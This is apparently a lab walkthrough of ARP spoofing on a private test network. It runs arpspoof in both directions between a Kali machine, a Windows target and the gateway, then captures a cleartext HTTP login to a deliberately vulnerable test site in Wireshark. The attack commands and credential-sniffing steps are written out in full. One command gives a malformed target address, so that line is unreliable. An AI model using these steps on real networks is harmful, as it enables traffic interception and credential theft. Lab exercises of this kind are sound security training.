Install arpspoof on Kali Linux (In my case it was not working before...)
sudo apt install dsniff
Attacker IP: 192.168.71.131 (Kali Linux)
Target IP: 192.168.71.149 (Win10 Box)
Gateway IP: 192.168.71.1
netstat -nr
Let's ping target ip, gateway and check the arp cache:
arp
Attacker MAC Address:
ARP Cache on target before attack:
arpspoof -i eth1 192.168.71.1 192.168.149
arpspoof -i eth1 192.168.71.149 192.168.71.1
ARP Cache on target
On Kali Linux start Wireshark and listen on the eth1 interface.
On the windows box let's navigate to http://testphp.vulnweb.com/login.php
Enter some sample credentials here: test / SecurePassw0rd
In wireshark set a filter to http and search the POST Request
Follow HTTP Stream
Follow the POST Request
Note: http is unencrypted and therefore we can see the password in cleartext.
If the connection would be https instead, it would be much harder (or impossible) to grab the password.
